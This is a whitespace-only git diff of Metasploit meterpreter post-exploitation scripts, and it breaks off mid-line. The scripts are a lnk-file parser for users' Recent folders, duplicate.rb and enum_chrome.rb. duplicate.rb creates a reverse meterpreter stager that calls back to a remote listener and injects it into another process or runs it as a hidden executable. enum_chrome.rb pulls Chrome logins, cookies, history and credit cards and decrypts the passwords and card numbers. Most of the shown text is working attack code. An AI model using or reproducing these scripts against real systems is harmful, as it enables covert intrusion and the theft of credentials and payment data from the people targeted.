+ - "\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" + - "\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n" - end - end + if @everything + @data_out += get_lnk_file_MAC(file_stat, path, file_name) + @data_out += "Contents of #{path + file_name}:\n" + @data_out += get_flags(hdr) + @data_out += get_attrs(hdr) + @data_out += get_lnk_MAC(hdr) + @data_out += get_showwnd(hdr) + @data_out += get_lnk_MAC(hdr) + end + if shell_item_id_list(hdr) + # advance the file & offset + offset += 0x4c + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(2) + offset += record.unpack('v')[0] + 2 + end + # Get File Location Info + if (hdr["flags"] & 0x02) > 0 + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(4) + tmp = record.unpack('V')[0] + if tmp > 0 + lnk_file.sysseek(offset, ::IO::SEEK_SET) + record = lnk_file.sysread(0x1c) + loc = get_file_location(record) + if (loc['flags'] & 0x01) > 0 + if @everything + @data_out += "\tShortcut file is on a local volume.\n" + end + lnk_file.sysseek(offset + loc['vol_ofs'], ::IO::SEEK_SET) + record = lnk_file.sysread(0x10) + lvt = get_local_vol_tbl(record) + lvt['name'] = lnk_file.sysread(lvt['len'] - 0x10) + if @everything + @data_out += "\t\tVolume Name = #{lvt['name']}\n" + + "\t\tVolume Type = #{get_vol_type(lvt['type'])}\n" + + "\t\tVolume SN = 0x%X" % lvt['vol_sn'] + "\n" + end + end - if (loc['flags'] & 0x02) > 0 - if @everything - @data_out += "\tFile is on a network share.\n" - end - lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET) - record = lnk_file.sysread(0x14) - nvt = get_net_vol_tbl(record) - nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14) - if @everything - @data_out += "\tNetwork Share name = #{nvt['name']}\n" - end - end + if (loc['flags'] & 0x02) > 0 + if @everything + @data_out += "\tFile is on a network share.\n" + end + lnk_file.sysseek(offset + loc['network_ofs'], ::IO::SEEK_SET) + record = lnk_file.sysread(0x14) + nvt = get_net_vol_tbl(record) + nvt['name'] = lnk_file.sysread(nvt['len'] - 0x14) + if @everything + @data_out += "\tNetwork Share name = #{nvt['name']}\n" + end + end - if loc['base_ofs'] > 0 - @data_out += get_target_path(loc['base_ofs'] + offset, lnk_file) - elsif loc['path_ofs'] > 0 - @data_out += get_target_path(loc['path_ofs'] + offset, lnk_file) - end - end - end - end - lnk_file.close - if @output_dir - @file_out_name = @logs + "/" + file_name + ".txt" - print_status "Writing: #{@file_out_name}" - filewrt(@file_out_name, @data_out) - else - print_status @data_out - end - end - end + if loc['base_ofs'] > 0 + @data_out += get_target_path(loc['base_ofs'] + offset, lnk_file) + elsif loc['path_ofs'] > 0 + @data_out += get_target_path(loc['path_ofs'] + offset, lnk_file) + end + end + end + end + lnk_file.close + if @output_dir + @file_out_name = @logs + "/" + file_name + ".txt" + print_status "Writing: #{@file_out_name}" + filewrt(@file_out_name, @data_out) + else + print_status @data_out + end + end + end end # Not only is this code slow, it seems # buggy. I'm studying the recently released # MS Specs for a better way. def get_target_path(path_ofs, lnk_file) - name = [] - lnk_file.sysseek(path_ofs, ::IO::SEEK_SET) - record = lnk_file.sysread(2) - while (record.unpack('v')[0] != 0) - name.push(record) - record = lnk_file.sysread(2) - end - return "\tTarget path = #{name.join}\n" + name = [] + lnk_file.sysseek(path_ofs, ::IO::SEEK_SET) + record = lnk_file.sysread(2) + while (record.unpack('v')[0] != 0) + name.push(record) + record = lnk_file.sysread(2) + end + return "\tTarget path = #{name.join}\n" end def shell_item_id_list(hdr) - # Check for Shell Item ID List - if (hdr["flags"] & 0x01) > 0 - return true - else - return nil - end + # Check for Shell Item ID List + if (hdr["flags"] & 0x01) > 0 + return true + else + return nil + end end def get_lnk_file_MAC(file_stat, path, file_name) - data_out = "#{path + file_name}:\n" - data_out += "\tAccess Time = #{file_stat.atime}\n" - data_out += "\tCreation Date = #{file_stat.ctime}\n" - data_out += "\tModification Time = #{file_stat.mtime}\n" - return data_out + data_out = "#{path + file_name}:\n" + data_out += "\tAccess Time = #{file_stat.atime}\n" + data_out += "\tCreation Date = #{file_stat.ctime}\n" + data_out += "\tModification Time = #{file_stat.mtime}\n" + return data_out end def get_vol_type(type) - vol_type = { 0 => "Unknown", - 1 => "No root directory", - 2 => "Removable", - 3 => "Fixed", - 4 => "Remote", - 5 => "CD-ROM", - 6 => "RAM Drive"} - return vol_type[type] + vol_type = { 0 => "Unknown", + 1 => "No root directory", + 2 => "Removable", + 3 => "Fixed", + 4 => "Remote", + 5 => "CD-ROM", + 6 => "RAM Drive"} + return vol_type[type] end def get_showwnd(hdr) - showwnd = { 0 => "SW_HIDE", - 1 => "SW_NORMAL", - 2 => "SW_SHOWMINIMIZED", - 3 => "SW_SHOWMAXIMIZED", - 4 => "SW_SHOWNOACTIVE", - 5 => "SW_SHOW", - 6 => "SW_MINIMIZE", - 7 => "SW_SHOWMINNOACTIVE", - 8 => "SW_SHOWNA", - 9 => "SW_RESTORE", - 10 => "SHOWDEFAULT"} - data_out = "\tShowWnd value(s):\n" - showwnd.each do |key, value| - if (hdr["showwnd"] & key) > 0 - data_out += "\t\t#{showwnd[key]}.\n" - end - end - return data_out + showwnd = { 0 => "SW_HIDE", + 1 => "SW_NORMAL", + 2 => "SW_SHOWMINIMIZED", + 3 => "SW_SHOWMAXIMIZED", + 4 => "SW_SHOWNOACTIVE", + 5 => "SW_SHOW", + 6 => "SW_MINIMIZE", + 7 => "SW_SHOWMINNOACTIVE", + 8 => "SW_SHOWNA", + 9 => "SW_RESTORE", + 10 => "SHOWDEFAULT"} + data_out = "\tShowWnd value(s):\n" + showwnd.each do |key, value| + if (hdr["showwnd"] & key) > 0 + data_out += "\t\t#{showwnd[key]}.\n" + end + end + return data_out end def get_lnk_MAC(hdr) - data_out = "\tTarget file's MAC Times stored in lnk file:\n" - data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" - data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" - data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n" - return data_out + data_out = "\tTarget file's MAC Times stored in lnk file:\n" + data_out += "\t\tCreation Time = #{Time.at(hdr["ctime"])}. (UTC)\n" + data_out += "\t\tModification Time = #{Time.at(hdr["mtime"])}. (UTC)\n" + data_out += "\t\tAccess Time = #{Time.at(hdr["atime"])}. (UTC)\n" + return data_out end def get_attrs(hdr) - fileattr = {0x01 => "Target is read only", - 0x02 => "Target is hidden", - 0x04 => "Target is a system file", - 0x08 => "Target is a volume label", - 0x10 => "Target is a directory", - 0x20 => "Target was modified since last backup", - 0x40 => "Target is encrypted", - 0x80 => "Target is normal", - 0x100 => "Target is temporary", - 0x200 => "Target is a sparse file", - 0x400 => "Target has a reparse point", - 0x800 => "Target is compressed", - 0x1000 => "Target is offline"} - data_out = "\tAttributes:\n" - fileattr.each do |key, attr| - if (hdr["attr"] & key) > 0 - data_out += "\t\t#{fileattr[key]}.\n" - end - end - return data_out + fileattr = {0x01 => "Target is read only", + 0x02 => "Target is hidden", + 0x04 => "Target is a system file", + 0x08 => "Target is a volume label", + 0x10 => "Target is a directory", + 0x20 => "Target was modified since last backup", + 0x40 => "Target is encrypted", + 0x80 => "Target is normal", + 0x100 => "Target is temporary", + 0x200 => "Target is a sparse file", + 0x400 => "Target has a reparse point", + 0x800 => "Target is compressed", + 0x1000 => "Target is offline"} + data_out = "\tAttributes:\n" + fileattr.each do |key, attr| + if (hdr["attr"] & key) > 0 + data_out += "\t\t#{fileattr[key]}.\n" + end + end + return data_out end # Function for writing results of other functions to a file def filewrt(file2wrt, data2wrt) - output = ::File.open(file2wrt, "a") - if data2wrt - data2wrt.each_line do |d| - output.puts(d) - end - end - output.close + output = ::File.open(file2wrt, "a") + if data2wrt + data2wrt.each_line do |d| + output.puts(d) + end + end + output.close end def get_flags(hdr) - flags = {0x01 => "Shell Item ID List exists", - 0x02 => "Shortcut points to a file or directory", - 0x04 => "The shortcut has a descriptive string", - 0x08 => "The shortcut has a relative path string", - 0x10 => "The shortcut has working directory", - 0x20 => "The shortcut has command line arguments", - 0x40 => "The shortcut has a custom icon"} - data_out = "\tFlags:\n" - flags.each do |key, flag| - if (hdr["flags"] & key) > 0 - data_out += "\t\t#{flags[key]}.\n" - end - end - return data_out + flags = {0x01 => "Shell Item ID List exists", + 0x02 => "Shortcut points to a file or directory", + 0x04 => "The shortcut has a descriptive string", + 0x08 => "The shortcut has a relative path string", + 0x10 => "The shortcut has working directory", + 0x20 => "The shortcut has command line arguments", + 0x40 => "The shortcut has a custom icon"} + data_out = "\tFlags:\n" + flags.each do |key, flag| + if (hdr["flags"] & key) > 0 + data_out += "\t\t#{flags[key]}.\n" + end + end + return data_out end def get_headers(record) - hd = record.unpack('x16V12x8') - hdr = Hash.new() - hdr["flags"] = hd[0] - hdr["attr"] = hd[1] - hdr["ctime"] = get_time(hd[2], hd[3]) - hdr["mtime"] = get_time(hd[4], hd[5]) - hdr["atime"] = get_time(hd[6], hd[7]) - hdr["length"] = hd[8] - hdr["icon_num"] = hd[9] - hdr["showwnd"] = hd[10] - hdr["hotkey"] = hd[11] - return hdr + hd = record.unpack('x16V12x8') + hdr = Hash.new() + hdr["flags"] = hd[0] + hdr["attr"] = hd[1] + hdr["ctime"] = get_time(hd[2], hd[3]) + hdr["mtime"] = get_time(hd[4], hd[5]) + hdr["atime"] = get_time(hd[6], hd[7]) + hdr["length"] = hd[8] + hdr["icon_num"] = hd[9] + hdr["showwnd"] = hd[10] + hdr["hotkey"] = hd[11] + return hdr end def get_net_vol_tbl(file_net_rec) - nv = Hash.new() - (nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8") - return nv + nv = Hash.new() + (nv['len'], nv['ofs']) = file_net_rec.unpack("Vx4Vx8") + return nv end def get_local_vol_tbl(lvt_rec) - lv = Hash.new() - (lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4') - return lv + lv = Hash.new() + (lv['len'], lv['type'], lv['vol_sn'], lv['ofs']) = lvt_rec.unpack('V4') + return lv end def get_file_location(file_loc_rec) - location = Hash.new() - (location["len"], location["ptr"], location["flags"], - location["vol_ofs"], location["base_ofs"], location["network_ofs"], - location["path_ofs"]) = file_loc_rec.unpack('V7') - return location + location = Hash.new() + (location["len"], location["ptr"], location["flags"], + location["vol_ofs"], location["base_ofs"], location["network_ofs"], + location["path_ofs"]) = file_loc_rec.unpack('V7') + return location end def get_time(lo_byte, hi_byte) - if (lo_byte == 0 && hi_byte == 0) - return 0 - else - lo_byte -= 0xd53e8000 - hi_byte -= 0x019db1de - time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i - if time < 0 - return 0 - end - end - return time + if (lo_byte == 0 && hi_byte == 0) + return 0 + else + lo_byte -= 0xd53e8000 + hi_byte -= 0x019db1de + time = (hi_byte * 429.4967296 + lo_byte/1e7).to_i + if time < 0 + return 0 + end + end + return time end if client.platform =~ /win32|win64/ - enum_users(os).each do |user| - if user['userpath'] - print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." - extract_lnk_info(user['userpath']) - else - print_status "No Recent directory found for user #{user['username']}. Nothing to do." - end - if user['useroffcpath'] - print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..." - extract_lnk_info(user['useroffcpath']) - else - print_status "No Recent Office files found for user #{user['username']}. Nothing to do." - end - end + enum_users(os).each do |user| + if user['userpath'] + print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..." + extract_lnk_info(user['userpath']) + else + print_status "No Recent directory found for user #{user['username']}. Nothing to do." + end + if user['useroffcpath'] + print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..." + extract_lnk_info(user['useroffcpath']) + else + print_status "No Recent Office files found for user #{user['username']}. Nothing to do." + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/duplicate.rb b/scripts/meterpreter/duplicate.rb index e45c7fbc1e..9b072f511a 100644 --- a/scripts/meterpreter/duplicate.rb +++ b/scripts/meterpreter/duplicate.rb @@ -9,14 +9,14 @@ # Options # opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"], - "-w" => [ false, "Write and execute an exe instead of injecting into a process"], - "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], - "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], - "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], - "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] + "-h" => [ false, "This help menu"], + "-r" => [ true, "The IP of a remote Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening (default: 4546)"], + "-w" => [ false, "Write and execute an exe instead of injecting into a process"], + "-e" => [ true, "Executable to inject into. Default notepad.exe, will fall back to spawn if not found."], + "-P" => [ true, "Process id to inject into; use instead of -e if multiple copies of one executable are running."], + "-s" => [ false, "Spawn new executable to inject to. Only useful with -P."], + "-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"] ) # @@ -38,25 +38,25 @@ pay = nil # Option parsing # opts.parse(args) do |opt, idx, val| - case opt - when "-h" - print_line(opts.usage) - raise Rex::Script::Completed - when "-r" - rhost = val - when "-p" - rport = val.to_i - when "-P" - target_pid = val.to_i - when "-e" - target = val - when "-D" - autoconn = false - when "-w" - inject = false - when "-s" - spawn = true - end + case opt + when "-h" + print_line(opts.usage) + raise Rex::Script::Completed + when "-r" + rhost = val + when "-p" + rport = val.to_i + when "-P" + target_pid = val.to_i + when "-e" + target = val + when "-D" + autoconn = false + when "-w" + inject = false + when "-s" + spawn = true + end end print_status("Creating a reverse meterpreter stager: LHOST=#{rhost} LPORT=#{rport}") @@ -73,74 +73,74 @@ mul.datastore['EXITFUNC'] = 'process' mul.datastore['ExitOnSession'] = true print_status("Running payload handler") mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'RunAsJob' => true + 'Payload' => mul.datastore['PAYLOAD'], + 'RunAsJob' => true ) if client.platform =~ /win32|win64/ - server = client.sys.process.open + server = client.sys.process.open - print_status("Current server process: #{server.name} (#{server.pid})") + print_status("Current server process: #{server.name} (#{server.pid})") - if ! inject - exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) - print_status("Meterpreter stager executable #{exe.length} bytes long") + if ! inject + exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) + print_status("Meterpreter stager executable #{exe.length} bytes long") - # - # Upload to the filesystem - # - tempdir = client.fs.file.expand_path("%TEMP%") - tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tempexe.gsub!("\\\\", "\\") + # + # Upload to the filesystem + # + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe.gsub!("\\\\", "\\") - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - print_status("Uploaded the agent to #{tempexe} (must be deleted manually)") + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + print_status("Uploaded the agent to #{tempexe} (must be deleted manually)") - # - # Execute the agent - # - print_status("Executing the agent with endpoint #{rhost}:#{rport}...") - pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) - elsif ! spawn - # Get the target process name - print_status("Duplicating into #{target}...") + # + # Execute the agent + # + print_status("Executing the agent with endpoint #{rhost}:#{rport}...") + pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) + elsif ! spawn + # Get the target process name + print_status("Duplicating into #{target}...") - # Get the target process pid - if not target_pid - target_pid = client.sys.process[target] - end + # Get the target process pid + if not target_pid + target_pid = client.sys.process[target] + end - if not target_pid - print_error("Could not access the target process") - print_status("Spawning a notepad.exe host process...") - note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) - target_pid = note.pid - end - else - print_status("Spawning a #{target} host process...") - newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) - target_pid = newproc.pid - if not target_pid - print_error("Could not create a process around #{target}") - raise Rex::Script::Completed - end - end + if not target_pid + print_error("Could not access the target process") + print_status("Spawning a notepad.exe host process...") + note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) + target_pid = note.pid + end + else + print_status("Spawning a #{target} host process...") + newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) + target_pid = newproc.pid + if not target_pid + print_error("Could not create a process around #{target}") + raise Rex::Script::Completed + end + end - # Do the duplication - print_status("Injecting meterpreter into process ID #{target_pid}") - host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) - raw = pay.generate - mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) + # Do the duplication + print_status("Injecting meterpreter into process ID #{target_pid}") + host_process = client.sys.process.open(target_pid, PROCESS_ALL_ACCESS) + raw = pay.generate + mem = host_process.memory.allocate(raw.length + (raw.length % 1024)) - print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") - print_status("Writing the stager into memory...") - host_process.memory.write(mem, raw) - host_process.thread.create(mem, 0) - print_status("New server process: #{target_pid}") + print_status("Allocated memory at address #{"0x%.8x" % mem}, for #{raw.length} byte stager") + print_status("Writing the stager into memory...") + host_process.memory.write(mem, raw) + host_process.thread.create(mem, 0) + print_status("New server process: #{target_pid}") else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_chrome.rb b/scripts/meterpreter/enum_chrome.rb index 1c3fbfd35f..bbbb91ca72 100644 --- a/scripts/meterpreter/enum_chrome.rb +++ b/scripts/meterpreter/enum_chrome.rb @@ -8,187 +8,187 @@ require 'sqlite3' require 'yaml' if client.platform !~ /win32/ - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @host_info = client.sys.config.sysinfo @chrome_files = [ - { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"}, - { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"}, - { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"}, - { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]}, - { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"}, - { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"}, - { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"}, - { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"}, - { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]}, - { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"}, - { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"}, + { :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"}, + { :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"}, + { :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"}, + { :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]}, + { :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"}, + { :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"}, + { :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"}, + { :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"}, + { :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]}, + { :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"}, + { :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"}, ] @migrate = false @old_pid = nil @output_format = [] opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-m" => [ false, "Migrate into explorer.exe"], - "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"] + "-h" => [ false, "Help menu" ], + "-m" => [ false, "Migrate into explorer.exe"], + "-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"] ) opts.parse(args) { |opt, idx, val| - case opt - when "-m" - @migrate = true - when "-f" - if val =~ /^j(son)?$/ - @output_format << "json" - elsif val =~ /^y(aml)?$/ - @output_format << "yaml" - elsif val =~ /^t(ext)?$/ - @output_format << "text" - else - print_error("unknown format '#{val}'.") - raise Rex::Script::Completed - end - when "-h" - print_line("") - print_line("DESCRIPTION: Script for enumerating preferences and extracting") - print_line("information from the Google Chrome Browser on a target system.") - print_line("Decryption of creditcard information and passwords only supported") - print_line("on 32bit Windows Operating Systems.") - print_line("") - print_line("USAGE: run enum_chrome [-m]") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-m" + @migrate = true + when "-f" + if val =~ /^j(son)?$/ + @output_format << "json" + elsif val =~ /^y(aml)?$/ + @output_format << "yaml" + elsif val =~ /^t(ext)?$/ + @output_format << "text" + else + print_error("unknown format '#{val}'.") + raise Rex::Script::Completed + end + when "-h" + print_line("") + print_line("DESCRIPTION: Script for enumerating preferences and extracting") + print_line("information from the Google Chrome Browser on a target system.") + print_line("Decryption of creditcard information and passwords only supported") + print_line("on 32bit Windows Operating Systems.") + print_line("") + print_line("USAGE: run enum_chrome [-m]") + print_line(opts.usage) + raise Rex::Script::Completed + end } @output_format << "json" if @output_format.empty? if @output_format.include?("json") - begin - require 'json' - rescue LoadError - print_error("JSON is not available.") - @output_format.delete("json") - if @output_format.empty? - print_status("Falling back to raw text output.") - @output_format << "text" - end - end + begin + require 'json' + rescue LoadError + print_error("JSON is not available.") + @output_format.delete("json") + if @output_format.empty? + print_status("Falling back to raw text output.") + @output_format << "text" + end + end end print_status("using output format(s): " + @output_format.join(", ")) def prepare_railgun - rg = client.railgun - if (!rg.get_dll('crypt32')) - rg.add_dll('crypt32') - end + rg = client.railgun + if (!rg.get_dll('crypt32')) + rg.add_dll('crypt32') + end - if (!rg.crypt32.functions["CryptUnprotectData"]) - rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ - ["PBLOB","pDataIn", "in"], - ["PWCHAR", "szDataDescr", "out"], - ["PBLOB", "pOptionalEntropy", "in"], - ["PDWORD", "pvReserved", "in"], - ["PBLOB", "pPromptStruct", "in"], - ["DWORD", "dwFlags", "in"], - ["PBLOB", "pDataOut", "out"] - ]) - end + if (!rg.crypt32.functions["CryptUnprotectData"]) + rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [ + ["PBLOB","pDataIn", "in"], + ["PWCHAR", "szDataDescr", "out"], + ["PBLOB", "pOptionalEntropy", "in"], + ["PDWORD", "pvReserved", "in"], + ["PBLOB", "pPromptStruct", "in"], + ["DWORD", "dwFlags", "in"], + ["PBLOB", "pDataOut", "out"] + ]) + end end def decrypt_data(data) - rg = client.railgun - pid = client.sys.process.open.pid - process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) + rg = client.railgun + pid = client.sys.process.open.pid + process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) - mem = process.memory.allocate(1024) - process.memory.write(mem, data) + mem = process.memory.allocate(1024) + process.memory.write(mem, data) - addr = [mem].pack("V") - len = [data.length].pack("V") - ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - len, addr = ret["pDataOut"].unpack("V2") - return "" if len == 0 - decrypted = process.memory.read(addr, len) + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + return "" if len == 0 + decrypted = process.memory.read(addr, len) end def write_output(file, rows) - if @output_format.include?("json") - ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("yaml") - ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) } - end - if @output_format.include?("text") - ::File.open(file + ".txt", "w") do |f| - f.write(rows.first.keys.join("\t") + "\n") - f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n")) - end - end + if @output_format.include?("json") + ::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) } + end + if @output_format.include?("yaml") + ::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) } + end + if @output_format.include?("text") + ::File.open(file + ".txt", "w") do |f| + f.write(rows.first.keys.join("\t") + "\n") + f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n")) + end + end end def process_files(username) - @chrome_files.each do |item| - in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file]) - out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file]) - if item[:sql] - db = SQLite3::Database.new(in_file) - columns, *rows = db.execute2(item[:sql]) - db.close - rows.map! do |row| - res = Hash[*columns.zip(row).flatten] - if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM" - if @host_info['Architecture'] !~ /x64/ - item[:encrypted_fields].each do |field| - print_good("decrypting field '#{field}'...") - res[field + "_decrypted"] = decrypt_data(res[field]) - end - else - print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS") - end - end - res - end - if rows.length > 0 - print_status("writing output '#{item[:out_file]}'...") - write_output(out_file, rows) - else - print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'") - end - else - ::FileUtils.cp(in_file, out_file) - end - end + @chrome_files.each do |item| + in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file]) + out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file]) + if item[:sql] + db = SQLite3::Database.new(in_file) + columns, *rows = db.execute2(item[:sql]) + db.close + rows.map! do |row| + res = Hash[*columns.zip(row).flatten] + if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM" + if @host_info['Architecture'] !~ /x64/ + item[:encrypted_fields].each do |field| + print_good("decrypting field '#{field}'...") + res[field + "_decrypted"] = decrypt_data(res[field]) + end + else + print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS") + end + end + res + end + if rows.length > 0 + print_status("writing output '#{item[:out_file]}'...") + write_output(out_file, rows) + else + print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'") + end + else + ::FileUtils.cp(in_file, out_file) + end + end end def extract_data(username) - chrome_path = @profiles_path + "\\" + username + @data_path - begin - client.fs.file.stat(chrome_path) - rescue - print_status("no files found for user '#{username}'") - return false - end + chrome_path = @profiles_path + "\\" + username + @data_path + begin + client.fs.file.stat(chrome_path) + rescue + print_status("no files found for user '#{username}'") + return false + end - @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| - remote_path = chrome_path + '\\' + f - local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f) - print_status("downloading file #{f} to '#{local_path}'...") - client.fs.file.download_file(local_path, remote_path) - end - return true + @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f| + remote_path = chrome_path + '\\' + f + local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f) + print_status("downloading file #{f} to '#{local_path}'...") + client.fs.file.download_file(local_path, remote_path) + end + return true end if @migrate - current_pid = client.sys.process.open.pid - target_pid = client.sys.process["explorer.exe"] - if target_pid != current_pid - @old_pid = current_pid - print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") - client.core.migrate(target_pid) - print_status("done.") - end + current_pid = client.sys.process.open.pid + target_pid = client.sys.process["explorer.exe"] + if target_pid != current_pid + @old_pid = current_pid + print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...") + client.core.migrate(target_pid) + print_status("done.") + end end host = session.session_host @@ -198,11 +198,11 @@ host = session.session_host sysdrive = client.fs.file.expand_path("%SYSTEMDRIVE%") os = @host_info['OS'] if os =~ /(Windows 7|2008|Vista)/ - @profiles_path = sysdrive + "\\Users\\" - @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" + @profiles_path = sysdrive + "\\Users\\" + @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default" elsif os =~ /(2000|NET|XP)/ - @profiles_path = sysdrive + "\\Documents and Settings\\" - @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" + @profiles_path = sysdrive + "\\Documents and Settings\\" + @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default" end usernames = [] @@ -210,28 +210,28 @@ usernames = [] uid = client.sys.config.getuid if is_system? - print_status "running as SYSTEM, extracting user list..." - print_status "(decryption of passwords and credit card numbers will not be possible)" - client.fs.dir.foreach(@profiles_path) do |u| - usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ - end - print_status "users found: #{usernames.join(", ")}" + print_status "running as SYSTEM, extracting user list..." + print_status "(decryption of passwords and credit card numbers will not be possible)" + client.fs.dir.foreach(@profiles_path) do |u| + usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/ + end + print_status "users found: #{usernames.join(", ")}" else - print_status "running as user '#{uid}'..." - usernames << client.fs.file.expand_path("%USERNAME%") - prepare_railgun + print_status "running as user 